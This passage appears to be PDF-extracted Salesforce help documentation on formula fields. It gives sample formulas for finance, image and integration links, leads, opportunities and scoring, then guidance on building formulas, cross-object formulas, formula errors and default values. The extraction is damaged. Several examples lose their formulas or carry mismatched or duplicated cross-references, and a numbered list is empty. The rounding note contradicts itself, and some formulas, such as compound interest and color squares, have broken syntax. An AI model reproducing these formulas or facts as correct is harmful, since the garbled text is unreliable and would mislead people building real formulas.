This formula calculates the interest, you will have after T years, compounded M times per year.
Principal__c * ( 1 + Rate__c / M ) ^ ( T * M) )
For details about using these operators, see * (Multiply) on page 1208, / (Divide) on page 1208, and ^ (Exponentiation) on page
1209.
Compound Interest Continuous
This formula calculates the interest that will have accumulated after T years, if continuously compounded.
Principal__c * EXP(Rate__c * T)
For details about using this function, see EXP on page 1218.
1134
Customize
About Formulas
Consultant Cost
This formula calculates the number of consulting days times 1200 given that this formula field is a currency data type and
consulting charges a rate of $1200 per day. Note that Consulting Days is a custom field.
Consulting_Days__c
* 1200
For details about using this operator, see * (Multiply) on page 1208.
Gross Margin
This formula provides a simple calculation of gross margin. In this formula example, Total Sales and Cost of Goods
Sold are custom currency fields.
Total_Sales__c - Cost_of_Goods_Sold__c
For details about using this operator, see - (Subtract) on page 1208.
Gross Margin Percent
This formula calculates the gross margin based on a margin percent.
Margin_percent__c * Items_Sold__c * Price_item__c
For details about using this operator, see * (Multiply) on page 1208.
Payment Due Indicator
This formula returns the date five days after the contract start date whenever Payment Due Date is blank. Payment Due
Date is a custom date field.
(BLANKVALUE(Payment_Due_Date__c, StartDate
+5)
For details about using this function, see BLANKVALUE on page 1213.
Payment Status
This formula determines if the payment due date is past and the payment status is UNPAID. If so, it returns the text
PAYMENT OVERDUE and if not, it leaves the field blank. This example uses a custom date field called Payment Due
Date and a text custom field called Payment Status on contracts.
IF(
AND(Payment_Due_Date__c < TODAY(),
ISPICKVAL(Payment_Status__c, "UNPAID")),
"PAYMENT OVERDUE",
null )
For details about using these functions, see IF on page 1222, AND on page 1212, TODAY on page 1245, and ISPICKVAL on
page 1229.
1135
Customize
About Formulas
Image Links
Yahoo! Instant Messenger Image
This formula displays an image that indicates whether a contact or user is currently logged in to Yahoo! Instant Messenger.
Clicking the image launches the Yahoo! Instant Messenger window. This formula uses a custom text field called Yahoo Name
to store the contact or users Yahoo! ID.
IF(ISBLANK(Yahoo_Name__c),"", HYPERLINK("ymsgr:sendIM?" & Yahoo_Name__c,
IMAGE("http://opi.yahoo.com/online?u=" & Yahoo_Name__c & "&m=g&t=0", " ")))
For details about using these functions, see IF on page 1222, LEN on page 1231, HYPERLINK on page 1221, and IMAGE on
page 1224.
Skype Me Auto Dialer Button
This formula displays an image that looks like a push button. Clicking the button automatically dials the specified phone
number.
HYPERLINK("callto://" & "+1" & Phone,
IMAGE("http://goodies.skype.com/graphics/skypeme_btn_small_blue.gif",
"Click to Skype"))
For details about using these functions, see HYPERLINK on page 1221 and IMAGE on page 1224.
Flags for Case Priority
This formula displays a green, yellow, or red flag image to indicate case priority.
IMAGE(
CASE( Priority,
"Low", "/img/samples/flag_green.gif",
"Medium", "/img/samples/flag_yellow.gif",
"High", "/img/samples/flag_red.gif",
"/s.gif"),
"Priority Flag")
For details about using this function, see IMAGE on page 1224.
Color Squares for Case Age
This formula displays a 30 x 30 pixel image of a red, yellow, or green, depending on the value of a Case Age custom text
field.
IF( Case_Age__c > 20,
IMAGE("/img/samples/color_red.gif", "red", 30, 30),
IF( Case_Age__c > 10,
IMAGE("/img/samples/color_yellow.gif", "yellow", 30, 30),
IMAGE("/img/samples/color_green.gif", "green", 30, 30),
))
For details about using these functions, see IF on page 1222 and IMAGE on page 1224.
1136
Customize
About Formulas
For details about using these functions, see IMAGE on page 1224 and CASE on page 1214.
Stars for Ratings
This formula displays a set of one to five stars to indicate a rating or score.
IMAGE(
CASE(Rating__c,
"1", "/img/samples/stars_100.gif",
"2", "/img/samples/stars_200.gif",
"3", "/img/samples/stars_300.gif",
"4", "/img/samples/stars_400.gif",
"5", "/img/samples/stars_500.gif",
"/img/samples/stars_000.gif"),
"rating")
For details about using these functions, see IMAGE on page 1224 and CASE on page 1214.
Consumer ReportsStyle Colored Circles for Ratings
This formula displays a colored circle to indicate a rating on a scale of one to five, where solid red is one, half red is two, black
outline is three, half black is four, and solid black is five.
IMAGE(
CASE(Rating__c,
"1", "/img/samples/rating1.gif",
"2", "/img/samples/rating2.gif",
"3", "/img/samples/rating3.gif",
"4", "/img/samples/rating4.gif",
"5", "/img/samples/rating5.gif",
"/s.gif"),
"rating")
For details about using these functions, see IMAGE on page 1224 and CASE on page 1214.
Horizontal Bars to Indicate Scoring
This formula displays a horizontal color bar (green on a white background) of a length that is proportional to a numeric score.
In this example, the maximum length of the bar is 200 pixels.
IMAGE("/img/samples/color_green.gif", "green", 15, Industry_Score__c * 2) &
IMAGE("/s.gif", "white", 15,
200 - (Industry_Score__c * 2))
For details about using this function, see IMAGE on page 1224.
1137
Customize
About Formulas
Integration Links
Application API Link
This formula creates a link to an application outside Salesforce, passing the parameters so that it can connect to Salesforce via
the SOAP API and create the necessary event.
HYPERLINK ("https://www.myintegration.com?sId=" & GETSESSIONID() & "?&rowID=" & Name &
"action=CreateTask","Create a Meeting Request")
For details about using these functions, see HYPERLINK on page 1221 and GETSESSIONID on page 1220.
Shipment Tracking Integration
This formula creates a link to FedEx, UPS, or DHL shipment tracking websites, depending on the value of a Shipping
Method custom picklist field. Note that the parameters shown in this example for FedEx, UPS, and DHL websites are
illustrative and do not represent the correct parameters for all situations.
CASE(Shipping_Method__c,
"Fedex",
HYPERLINK("http://www.fedex.com/Tracking?ascend_header=1&clienttype
=dotcom&cntry_code=us&language=english&tracknumbers= "& tracking_id__c,"Track"),
"UPS",
HYPERLINK("http://wwwapps.ups.com/WebTracking/processInputRequest?HTMLVersion
=5.0&sort_by=status&loc=en_US&InquiryNumber1= "& tracking_id__c & "&track.x=32&track.y=7",
"Track") ,
"DHL",
HYPERLINK("http://track.dhl-usa.com/TrackByNbr.asp?ShipmentNumber=" & tracking_id__c,"Track"),
"")
For details about using these functions, see CASE on page 1214 and HYPERLINK on page 1221.
Skype Auto Dialer Integration
This formula creates a linkable phone number field that automatically dials the phone number via the Skype VOIP phone
application. It requires installation of the Skype application (a third-party product not provided by salesforce.com) on your
desktop.
HYPERLINK("callto://+" & Country_Code__c & Phone_Unformatted__c, Phone)
For details about using this function, see HYPERLINK on page 1221.
Lead Management
Lead Aging (for open leads)
This formula checks to see if a lead is open and if so, calculates the number of days it has been open by subtracting the date
and time created from the current date and time. The result is the number of days open rounded to zero decimal places. If the
lead is not open, this field is blank.
IF(ISPICKVAL(Status,
"Open"), ROUND(NOW()-CreatedDate, 0), null)
1138
Customize
About Formulas
For details about using these functions, see IF on page 1222, ISPICKVAL on page 1229, ROUND on page 1242, and NOW on
page 1236.
Lead Data Completeness
This formula calculates the percent of certain lead fields that your sales personnel enter. The formula field checks the values
of two custom number fields: Phone and Email. If the fields are empty, the formula returns the value 0. The formula returns
a value of 1 for each field that contains a value and multiplies this total by fifty to give you the percentage of fields that
contain data.
(IF(Phone = "", 0, 1) + IF(Email = "", 0, 1) ) * 50
For details about using this function, see VALUE on page 1248.
Round-Robin Assignment of Cases or Leads
The following formula example for leads assumes you have three lead queues and you want to assign an equal number of
incoming leads to each queue. You can also assign cases using a similar formula.
MOD(VALUE(Lead_Number__c),
3)
This formula is for a custom formula field named Round_Robin_ID that assigns each lead a value of 0, 1, or 2. This formula
uses a custom auto-number field called Lead Number that assigns each lead a unique number starting with 1. The MOD
function divides the lead number by the number of lead queues available (three in this example) and returns a remainder of 0,
1, or 2. Use the value of this formula field in your lead assignment rules to assign lead records to different queues. For example:
For details about using these functions, see MOD on page 1235 and VALUE on page 1248.
Metrics
Temperature Conversion
This formula converts Celsius degrees to Fahrenheit.
1.8 * degrees_celsius__c + 32
For details about using these operators, see * (Multiply) on page 1208 and + (Add) on page 1207.
1139
Customize
About Formulas
For details about using this operator, see / (Divide) on page 1208.
Opportunity Management
Days Left to Close
This formula returns the expected number of days left to the close date of an opportunity.
Expected_close_date__c -TODAY()
For details about using this function, see TODAY on page 1245.
Display Close Month for Reporting Purposes
This formula returns the month in text for the close date of an opportunity. Use this example when building a custom report
that groups opportunities by the month of the Close Date.
CASE(
MONTH(CloseDate),
1, "January",
2, "February",
3, "March",
4, "April",
5, "May",
6, "June",
7, "July",
8, "August",
9, "September",
10, "October",
11, "November",
12, "December",
"Invalid month")
For details about using these functions, see CASE on page 1214 and MONTH on page 1236.
Expected Product Revenue
This formula calculates total revenue from multiple products, each with a different probability of closing.
ProductA_probability__c * ProductA_revenue__c + ProductB_probability__c * ProductB_revenue__c
For details about using these operators, see * (Multiply) on page 1208 and + (Add) on page 1207.
Maintenance Calculation
This formula calculates maintenance fees as 20% of license fees per year. Maintenance Years is a custom field on
opportunities.
Amount * Maint_Years__c * 0.2
1140
Customize
About Formulas
For details about using this operator, see * (Multiply) on page 1208.
Monthly Subscription-Based Calculated Amounts
This formula calculates an opportunity amount based on a monthly subscription rate multiplied by the subscription period.
Monthly_Amount__c * Subscription_Months__c
For details about using this operator, see * (Multiply) on page 1208.
Monthly Value
This formula divides total yearly value by 12 months.
Total_value__c / 12
For details about using this operator, see / (Divide) on page 1208.
Opportunity Additional Costs
This formula calculates the sum of the product Amount, maintenance amount, and services fees. Note that Maint amount
and Service Fees are custom currency fields.
Amount
+ Maint_Amount__c + Services_Amount__c
For details about using this operator, see + (Add) on page 1207.
Opportunity Categorization
This formula uses conditional logic to populate an Opportunity category text field, based on the value of the Amount
standard field. Opportunities with amounts less than $1500 are Category 1, those between $1500 and $10000 are Category
2, and the rest are Category 3. This example uses nested IF statements.
IF(Amount < 1500, "Category 1", IF(Amount > 10000, "Category 3", "Category 2"))
For details about using this function, see ISBLANK on page 1226.
1141
Customize
About Formulas
For details about using this operator, see * (Multiply) on page 1208.
Opportunity Reminder Date
This formula creates reminder date based on seven days before the close date of an opportunity. Use this formula field in a
workflow rule to create an event for the appropriate user to take action.
Reminder Date = CloseDate - 7
For details about using these operators, see = and == (Equal) on page 1210 and - (Subtract) on page 1208.
Opportunity Revenue Text Display
This formula returns the expected revenue amount of an opportunity in text format without a dollar sign. For example, if the
Expected Revenue of a campaign is $200,000, this formula field displays 200000.
TEXT(ExpectedRevenue)
For details about using this function, see TEXT on page 1244.
Opportunity Split Credit for Sales Representatives
This formula splits opportunity amount between multiple sales representatives. The total reps custom field indicates the
total number of representatives on the deal.
Amount / total_reps__c
For details about using this operator, see / (Divide) on page 1208.
Opportunity Total Deal Size
This formula calculates the sum of maintenance and services amounts.
Amount + Maint_Amount__c + Services_Amount__c
For details about using this operator, see + (Add) on page 1207.
Opportunity Total Price Based on Units
This formula generates proposal pricing based on unit price and total volume.
Unit_price__c * Volume__c * 20
For details about using this operator, see * (Multiply) on page 1208.
1142
Customize
About Formulas
For details about using this operator, see * (Multiply) on page 1208.
Stage-Based Sales Document Selection
This formula Identifies a relevant document in the Documents tab based on opportunity Stage. Use document IDs in the
form of 00l30000000j7AO.
CASE(StageName,
"Prospecting", "Insert 1st Document ID",
"Qualification", "Insert 2nd Document ID",
"Needs Analysis", "Insert 3rd Document ID",
"Value Proposition", ...
)
)
For details about using this function, see CASE on page 1214.
Sales Coach
This formula creates a hyperlink that opens a stage-specific document stored in the Documents tab. It uses the previously
defined custom formula field that identifies a document based on opportunity Stage. See Stage-Based Sales Document
Selection on page 1143.
HYPERLINK("/servlet/servlet.FileDownload?file=" & Relevant_Document__c, "View Document in
New Window")
For details about using this function, see HYPERLINK on page 1221.
Shipping Cost by Weight
This formula calculates postal charges based on weight.
package_weight__c * cost_lb__c
For details about using this operator, see * (Multiply) on page 1208.
Shipping Cost Percentage
This formula calculates shipping cost as a fraction of total amount.
Ship_cost__c / total_amount__c
For details about using this operator, see / (Divide) on page 1208.
1143
Customize
About Formulas
For details about using these functions, see IF on page 1222 and ROUND on page 1242.
Total Contract Value from Recurring and Non-Recurring Revenue
This formula calculates both recurring and non-recurring revenue streams over the lifetime of a contract.
Non_Recurring_Revenue__c + Contract_Length_Months__c * Recurring_Revenue__c
For details about using these operators, see + (Add) on page 1207 and * (Multiply) on page 1208.
Pricing
Total Amount
This formula calculates a total amount based on unit pricing and total units.
Unit_price__c * Total_units__c
For details about using this operator, see * (Multiply) on page 1208.
User Pricing
This formula calculates a price per user license.
Total_license_rev__c / Number_user_licenses__c
For details about using this operator, see / (Divide) on page 1208.
Project Management
Calculate Intermediate Milestone from End Date
This formula calculates intermediate milestone dates by subtracting days from the end date (for projects that are planned based
on end date).
Release_Date__c - 7 * Phase_duration_in_weeks__c
For details about using this operator, see * (Multiply) on page 1208.
1144
Customize
About Formulas
Scoring Calculations
Lead Scoring
This formula scores leads, providing a higher score for phone calls than website requests.
CASE(LeadSource, "Phone", 2, "Web", 1, 0)
For details about using this function, see CASE on page 1214.
Customer Success Scoring
This formula uses a simple scoring algorithm to rank customers a high score for positive survey results in Salesforce.
Survey_Question_1__c * 5 + Survey_Question_2__c *2
For details about using these operators, see * (Multiply) on page 1208 and + (Add) on page 1207.
1145
Customize
About Formulas
Formula Fields
Automatically calculates the value of a custom field using the values, merge fields, or expressions you specify
Users cannot change the value of a formula field.
Validation Rules
Prevents users from entering an invalid value in a standard or custom field
Validation rules can be based on formulas and display an error message to the user when the value they enter is not valid
for that field.
Workflow Rules
Defines the criteria a record must meet to trigger a workflow rule
Field Updates
Automatically changes the value of a field to a value you specify
You can set field updates to occur as a result of a workflow rule or an approval process.
Custom Summary Formulas in Reports
Automatically calculates additional totals based on existing report summaries using the values, merge fields, or expressions
you specify
Users cannot change these totals.
Default Field
Values
Workflow
Rules and
Approval
Processes
Field Updates
Custom
Summary
Formulas for
Reports
Record save
Record save
Workflow or
Report display
approval process
Read only?
No
Yes
Not applicable
Not applicable
Not applicable
Yes
Can include
functions?
Yes
Yes
Yes
Yes
Yes
Yes, a limited
subset of
functions
Yes
No
No
No
Yes
1146
Customize
Building Formulas
Can include
references to
parent merge
fields?
Default Field
Values
Workflow
Rules and
Approval
Processes
Field Updates
Custom
Summary
Formulas for
Reports
No
Yes
Yes
Yes
No
Yes
See Also:
Defining Default Field Values
Building Formulas
Defining Field Updates
Building Custom Summary Formulas
Building Formulas
Available in: All Editions
Customize Application
Your custom formula fields require special attributes. To build your formula:
1. Begin building a formula field the same way you create a custom field. See Creating Custom Fields on page 1075.
2. Select the data type for the formula. Choose the appropriate data type for your formula based on the output of your
calculation. See Formula Data Types on page 1116.
3. Choose the number of decimal places for currency, number, or percent data types. This setting is ignored for currency
fields in multicurrency organizations. Instead, the Decimal Places for your currency setting apply.
Note: Salesforce uses the round half up tie-breaking rule for numbers in formula fields. For example, 12.345
becomes 12.35 and 12.345 becomes 12.34.
4. Click Next.
5. Build your formula:
a. If you are building a formula in the Advanced Formula tab or for approvals or rules, such as workflow, validation,
assignment, auto-response, or escalation, click Insert Field, choose a field, and click Insert.
1147
Customize
Building Formulas
To create a basic formula that passes specific Salesforce data, select the Simple Formula tab, choose the field type in
the Select Field Type drop-down list, and choose one of the fields listed in the Insert Field drop-down list.
Tip: Build cross-object formulas to span to related objects and reference merge fields on those objects.
b. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list. Use the
examples in Operators and Functions on page 1203.
c. Optionally, click the Advanced Formula tab to use functions and view additional operators and merge fields. Functions
are prebuilt formulas that you can customize with your input parameters. For a description of each operator and function,
see Operators and Functions on page 1203.
d. To insert a function, double-click its name in the list, or select it and click Insert Selected Function. To filter the list
of functions, choose a category from the Functions drop-down list. Select a function and click Help on this function
to view a description and examples of formulas using that function.
e. Consider adding comments to your formula, especially if it is complicated. Comments must begin with a forward slash
followed by an asterisk (/*), and conclude with an asterisk followed by a forward slash (*/).
Comments are useful for explaining specific parts of a formula to anyone viewing the formula definition. For example:
AND(
/*competitor field is required, check to see if field is empty */
LEN(Competitor__c) = 0,
/* rule only enforced for ABCD record types */
$RecordType.Name = "ABCD Value",
/* checking for any closed status, allows for additional closed picklist values in the
future */
CONTAINS(TEXT(StageName), "Closed")
)
You can also use comments to comment out sections of your formula when debugging and checking the syntax to locate
errors in the formula.
Note:
Nesting comments causes a syntax error. For example, you cannot save a formula that has the following:
/* /* comment */ */
Note: Formula fields can contain up to 3,900 characters, including spaces, return characters, and comments. If
your formula requires more characters, create separate formula fields and reference them in another formula field.
The maximum number of displayed characters after an evaluation of a formula expression is 1,300 characters.
6. Click Check Syntax to check your formula for errors.
7. Optionally, enter a description of the formula in the Description box.
8. If your formula references any number, currency, or percent fields, choose an option for handling blank fields. To give any
blank fields a zero value, choose Treat blank fields as zeros. To leave these fields blank, choose Treat blank
fields as blanks.
9. Click Next.
1148
Customize
Building Formulas
10. Set the field-level security to determine whether the field should be visible for specific profiles, and click Next.
11. Choose the page layouts that should display the field. The field is added as the last field in the first two-column section
on the page layout. For user custom fields, the field is automatically added to the bottom of the user detail page.
12. Click Save to finish or Save & New to create more custom fields.
Note: Because formula fields are automatically calculated, they are read-only on record detail pages and do not update
last modified date fields. Formula fields are not visible on edit pages.
In account formulas, all business account fields are available as merge fields. However, account fields exclusive to
person accounts such as Birthdate and Email are not available. For more information, see What is a Person Account?
on page 68.
Formulas on Activities that use standard fieldseither alone or in workflow rulesshouldn't be placed on both the
Task and Event pages. This is because both Tasks and Events are considered Activities. For instance, if a formula is
used on a standard field only available for Tasks, it will also mistakenly be pulled into Events.
See Also:
About Formulas
Operators and Functions
Elements of a Formula
Formulas: How Do I...
Tips on Building Formulas
Formula Errors
Building Custom Summary Formulas
Understanding Global Variables
Quick Reference Guide: Formula Fields
Default value formulas for a type of record can only reference fields for that type of record. However, formula fields and
formulas for approvals or rules, such as workflow, validation, assignment, auto-response, or escalation, for a type of record
can reference fields for that type of record as well as any records that are related through a lookup or master-detail
relationship. For example, a formula for a validation rule on opportunities can reference merge fields for accounts and
campaigns as well as opportunities, and a formula field on accounts can reference fields for cases.
Formula fields that a user can see may reference fields that are hidden or read only using field-level security. If the formula
field contains sensitive information, use field-level security to hide it. See Field-Level Security Overview on page 663.
The following limits apply to formula fields:
Character limitFormula fields can contain up to 3,900 characters, including spaces, return characters, and comments.
If your formula requires more characters, create separate formula fields and reference them in another formula field.
Note: The maximum number of displayed characters after an evaluation of a formula expression is 1,300
characters.
Save size limitFormula fields cannot exceed 4,000 bytes when saved. The save size differs from the number of
characters if you use multi-byte characters in your formula.
1149
Customize
Building Formulas
Compile size limitFormula fields cannot exceed 5,000 bytes when compiled. The compile size is the size of the
formula (in bytes) including all of the fields, values, and formulas it references. There is no direct correlation between
the compile size and the character limit. Some functions, such as TEXT, DATEVALUE, DATETIMEVALUE, and
DATE significantly increase the compile size.
Long text area, encrypted, and Description fields are not available for use in formulas.
The value of a field cannot depend on another formula that references it.
Fields referenced in formulas cannot be deleted. Remove the field from the formula before deleting it.
Task Due Date is not available for use in formulas.
Campaign statistic fields cannot be referenced in formulas for field updates, approval processes, workflow rules, or validation
rules, but can be referenced in custom formula fields. For more information, see Campaign Fields on page 2854.
You can add activity formula fields to task and event page layouts. Note that a task-related formula field on an event page
layout may not be useful. Likewise, event-related formula fields on task page layouts may not be useful.
Use the IsTask merge field to determine if a record is a task or event. For example, the following formula displays text
indicating if the record is a task or event:
IF(IsTask, "This is a task", "This is an event")
To reference the unique identifier for your Salesforce organization in a formula, insert the $Organization.Id merge
field. This merge field can display anywhere formula fields can except in reports.
Some merge fields display as radio buttons but function like picklist fields when referenced in a formula. Use the values
Read, Edit, and None when referencing the following merge fields in a formula.
$UserRole.CaseAccessForAccountOwner
$UserRole.OpportunityAccessForAccountOwner
CaseAccessLevel (on Territory)
OpportunityAccessLevel (on Territory)
Use the values Read, Edit, and All when referencing the following merge fields in a formula:
AccountAccessLevel (on Territory)
If you create a contacts formula field that references account merge fields, that field can be included in contact page layouts
but should not be included in person accounts page layouts. The formula field will display a value of #Error on the person
accounts page.
Dates and times are always calculated using the users time zone.
Date and date/time fields cannot be used interchangeably. The name alone may not indicate if a field is a date or date/time.
For example, Created Date and Last Modified Date are date/time fields whereas Last Activity Date is a
date field. Use the DATEVALUE function to convert a date/time field into a date field.
Note: In email templates, the Created Date and Last Modified Date fields display only the date, not the
date and time.
Use addition and subtraction operators with date or date/time fields to calculate duration. For example, subtract a date
from another date to calculate the number of days between the two. Likewise, you can subtract the date/time from another
date/time to get the number of days between the two in the form of a number. See NOW on page 1236 or TODAY on page
1245 for suggested use.
1150
Customize
Building Formulas
Use addition and subtraction operators with numbers to return another date or date/time. For example, {!CreatedDate}
+ 5 calculates the date and time five days after a records created date. Note that the expression returns the same data type
as the one given; a date field plus or minus a number returns a date, and a date/time field plus or minus a number returns
a date/time.
When calculating dates using fractions, Salesforce ignores any numbers beyond the decimal. For example:
TODAY() + 0.7 is the same as TODAY() + 0, which is todays date
TODAY() + 1.7 is the same asTODAY() + 1, which is tomorrows date
TODAY() + (-1.8) is the same as TODAY() + (-1), which is yesterdays date
To calculate the value of two fractions first, group them within parentheses. For example:
TODAY() + 0.5 + 0.5 is the same as TODAY() + 0 + 0, which is todays date
TODAY() + (0.5+0.5) is the same as TODAY() + 1, which is tomorrows date
Before using the HYPERLINK function, consider the differences between hyperlinks and custom links.
Hyperlink formula fields are just like other custom fields that you can display in list views and reports.
Custom links display on detail pages in a predefined section; hyperlink formula fields can display on a detail page
wherever you specify.
Using custom links, you can specify display properties such as window position and opening in a separate popup position;
hyperlink formula fields open in a new browser window by default or you can specify a different target window or frame.
Your formulas can reference custom links. Before deleting a custom link, make sure it is not referenced in a formula
field.
Hyperlink formula fields that contain relative URLs to Salesforce pages, such as /rpt/reportwizard.jsp, can be
added to list views, reports, and related lists. However, use a complete URL, including the server name and https://,
in your hyperlink formula before adding it to a search layout. Note that formula fields are not available in search result
layouts.
To insert text in your formula field, surround the text with quotation marks. For example, to display CASE: 123, use
this formula "CASE: "& CaseNumber__c.
Use the backslash (\) character before a quote or backslash to insert it as a literal value in your output. For example,
"Trouble\\Case \"Ticket\": " in your formula displays Trouble\Case "Ticket": on detail pages.
Use the decimal version of a percent when working with percent fields in formulas. For example, IF(Probability
=1...) for 100% probability or IF(Probability =0.9...) for 90% probability.
Reference auto-number fields as text fields in formulas.
The output of your formula must be less than 19 digits. See Formula Errors on page 1154.
Formulas can contain a mix of numbers, percents, and currencies as in this example: AnnualRevenue /
NumberOfEmployees.
1151
Customize
Building Formulas
Salesforce uses the round half up tie-breaking rule for numbers in formula fields. For example, 12.345 becomes 12.35 and
12.345 becomes 12.34.
Cross-object formulas that reference currency fields convert the value to the currency of the record that contains the formula.
Salesforce allows a maximum of ten unique relationships per object in cross-object formulas. The limit is cumulative across
all formula fields, rules, and lookup filters. For example, if two different formulas on opportunities reference two different
fields of an associated account, only one unique relationship exists (from opportunities to accounts).
You cannot reference cross-object formulas in roll-up summary fields.
In cross-object formulas, you cannot reference merge fields for objects related to activities. For example, merge fields for
contacts and accounts are not available in task and event formulas.
In cross-object formulas, you cannot reference record owner merge fields for any object. For example, the opportunity
owner's Role merge field is not available in opportunity formulas.
Do not use the $RecordType global variable in cross-object formulas. The $RecordType variable only resolves to the
record containing the formula, not the record to which the formula spans.
Create a workflow rule on accounts that emails different teams depending on the account record type the user selects when
creating the account.
Create a validation rule on opportunities that allows only members of the North American sales team to save opportunities
with the Domestic record type.
When referencing a record type in a formula, use RecordType.Id instead of RecordType.Name. If you use
RecordType.Name and the record type name changes, your formula will break. The record type ID never changes.
Using RecordType.Id can make your formula less readable, so use inline comments to make your formula readable.
Do not use the $RecordType global variable in cross-object formulas. The $RecordType variable only resolves to the record
containing the formula, not the record to which the formula spans.
Working with Picklists and Multi-Select Picklists
You can use special picklist fields in your formulas, such as IsEscalated for cases and IsWon for opportunities.
Picklist fields can only be used in the following functions:
ISPICKVALCompares the value of a picklist to a single value.
CASECompares the value of a picklist to multiple values.
TEXTConverts a picklist value into a text value so that you can work with the value in functions that support text
value, such as CONTAINS. (Only available in formula fields, validation rules, and workflow field updates.)
The TEXT function always returns picklist values in your organization's master language, not the language of the current
user.
Multi-select picklist fields can only be used in the following functions:
INCLUDES
ISBLANK
ISNULL
ISCHANGED (Only in assignment rules, validation rules, workflow field updates, and workflow rules in which the
trigger type is set to Every time a record is created or edited)
1152
Customize
Building Formulas
PRIORVALUE (Only in assignment rules, validation rules, workflow field updates, and workflow rules in which the
trigger type is set to Every time a record is created or edited)
See Also:
Building Formulas
Formula Errors
Customize Application
Cross-object formulas are formulas that span two related objects and reference merge fields on those objects. Cross-object
formulas can reference merge fields from a master (parent) object if an object is on the detail side of a master-detail relationship.
You can reference fields from objects that are up to ten relationships away. Cross-object formulas are available anywhere
formulas are used except when creating default values.
To create a cross-object formula when building a formula in the Simple Formula tab, enter the relationship names of the
objects to which you are spanning followed by the field you want to reference. Separate the relationship names of each object
and the field with periods.
For example, enter Contact.Account.Name to reference the Account Name for a contact associated with a case in a
formula field on the Case object. Be sure to use the relationship names of the objects, not the labels. Although the relationship
name is often the same as the object name, it is technically the field name of the relationship field. For example, to reference
the parent account name from Account object, the syntax is Parent.Name, not Account.Name. Also, when referencing a
custom object, add two underscores and the letter r to its name. For example, Position__r.title__c references the Job
Title field (title__c) on a Position custom object.
To create a cross-object formula when building a formula in the Advanced Formula tab or for approvals or rules, such as
workflow, validation, assignment, auto-response, or escalation rules, click Insert, then click the related object to list its fields.
Related objects are denoted by a > sign.
Note: The value of the Profile.Name merge field differs depending on the context of the cross-object formula field
that references it. On detail pages, the value is the profile name, as expected; however, in list views and reports, the
value is the internal value of the associated profile instead. If you use Profile.Name in a formula, use it within an
OR function to ensure the formula always returns the intended result. For example:
IF
(OR
(LastModifiedBy.Profile.Name = "Standard User", LastModifiedBy.Profile.Name
= "PT2"),
"Standard", "Not Standard")
1153
Customize
Building Formulas
None of the above applies to profile names referenced by the $Profile global variable.
See Also:
Building Formulas
Operators and Functions
Formula Errors
Available in: All Editions
Customize Application
#Error! displays for a formula field whenever an error occurs while calculating the value of a formula. To resolve the
error, check your formula.
Is the formula dividing by zero? If so, check if the denominator of your expression is zero and provide an alternative
value. For example, the following campaign formula field is blank if the number of opportunities is zero:
IF(NumberOfOpportunities > 0,
NumberOfWonOpportunities / NumberOfOpportunities, null)
Is the formula calculating a value larger than the maximum value of the current type? If so, you can append L to numeric
values to make them Long so the intermediate products will be Long and no overflow occurs. For example, the following
example shows how to correctly compute the amount of milliseconds in a year by multiplying Long numeric values.
Long MillsPerYear = 365L * 24L * 60L * 60L * 1000L;
Long ExpectedValue = 31536000000L;
System.assertEquals(MillsPerYear, ExpectedValue);
Is the formula calculating the square root of a negative number? If so, use an IF function similar to the one above to
check if the value is a positive number.
Is the formula calculating the LOG of a negative number? If so, use an IF function similar to the one above to make
sure that the number is positive.
Is the formula using the VALUE function with text that contains special characters? For examples of special characters,
see Operators and Functions on page 1203.
Make sure the formula does not contain a HYPERLINK function within a text function, such as LEFT(
HYPERLINK("http://MYCOMPANY.ORG ", "MYCOMPANY ") , 5).
Is the formula disabled or referencing a disabled formula field? Salesforce disables formula fields when they are deleted
and they remain disabled after they are restored. To enable disabled formula fields, edit and save the field. For more
information on deleted custom fields and restoring them, see Managing Deleted Custom Fields on page 1105.
1154
Customize
#Too Big! displays if your formula output is over 18 digits. When this happens, check your formula for calculations that
could result in more than 18 digits. Avoid multiplying large numbers, raising a large number to a power, or dividing by a
very small number.
CASE functions return an error whenever any of the expressions return an error, regardless of which one should be returned.
For example, CASE(Field__c,"Partner", "P", "Customer", "C", LEFT(Field__c, -5)) returns an error
even if the value of the field is Partner or Customer because the last statement is illogical.
Prevent division by zero errors by including an IF function that determines if the value of a field is zero. For example,
IF(Field__c =0,0, 25/Field__c).
Customize Application
c. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list. Use the
examples in Operators and Functions on page 1203.
d. Double-click a function to insert it in your formula. For a description of each operator and function, see Operators and
Functions on page 1203.
e. Click Check Syntax to check your formula for errors.
Note: You can define a formula for default values only where appropriate. For example, the default value options
for picklist and checkbox fields are limited to the options available for those types of fields, such as Checked,
Unchecked, or Use first value as default value.
1155
Customize
5. Click Next.
6. Set the field-level security to determine whether the field should be visible for specific profiles, and click Next.
7. Choose the page layouts that should display the field. The field is added as the last field in the first two-column section
on the page layout. For user custom fields, the field is automatically added to the bottom of the user detail page.
8. Click Save to finish or Save & New to create more custom fields.
Note: You must specify a default value for required campaign member custom fields.
Default values should not be assigned to fields that are both required and unique, as uniqueness errors may result.
See Also:
About Default Field Values
Default Field Value Considerations
Useful Default Field Value Formulas
Use default field values to make your users more productive by reducing the number of fields they need to fill in manually.
Default field values automatically insert the value of a custom field when a new record is created. A default value can be based
on a formula for some types of fields or exact values such as Checked or Unchecked for checkbox fields.
After you have defined default values:
1.
2.
3.
4.
5.
The user can change the field's value but the initial default field value is only executed once, during record creation. For
example, you can set the default field value on a custom lead field to seven days after the creation date to signify when to
contact the lead again. You can change this value later, but you cannot automatically restore the value that was seven days after
the creation date.
Set up default field values for the following types of custom fields:
Checkbox
Currency
Date
Date/Time
Email
Number
Percent
1156
Customize
Phone
Picklist (use the default option when setting up the picklist)
Text
Text Area
URL
For a description of these types, see Custom Field Types on page 1077.
See Also:
Defining Default Field Values
Default Field Value Considerations
Useful Default Field Value Formulas
Customize Application
In this example, the formula inserts a discount rate of 25% on any opportunity created by a user in the IT department or
15% on any opportunity created by someone in the Field department. A zero is applied if the creator does not belong to
either of these departments. This is a custom percent field on opportunities that uses the standard user field Department.
For more information on using this function, see CASE on page 1214.
Product Language
You may want to associate a product with its language so that your users know the type of documentation or adapter to include.
Use the following default value formula to automatically set the language of a product based on the country of the user creating
the product. In this example, the default value is Japanese if the user's country is Japan and English if the user's country
is US. If neither is true, the default value unknown is inserted into the Product Language field.
CASE($User.Country , "Japan", "Japanese", "US", "English","unknown")
For more information on using this function, see CASE on page 1214.
1157
Customize
Tax Rate
Use this default value formula to set the tax rate of an asset based on the user's city. Create a custom percent field with the
following default value:
IF($User.City = "Napa", 0.0750,
IF($User.City = "Paso Robles", 0.0725,
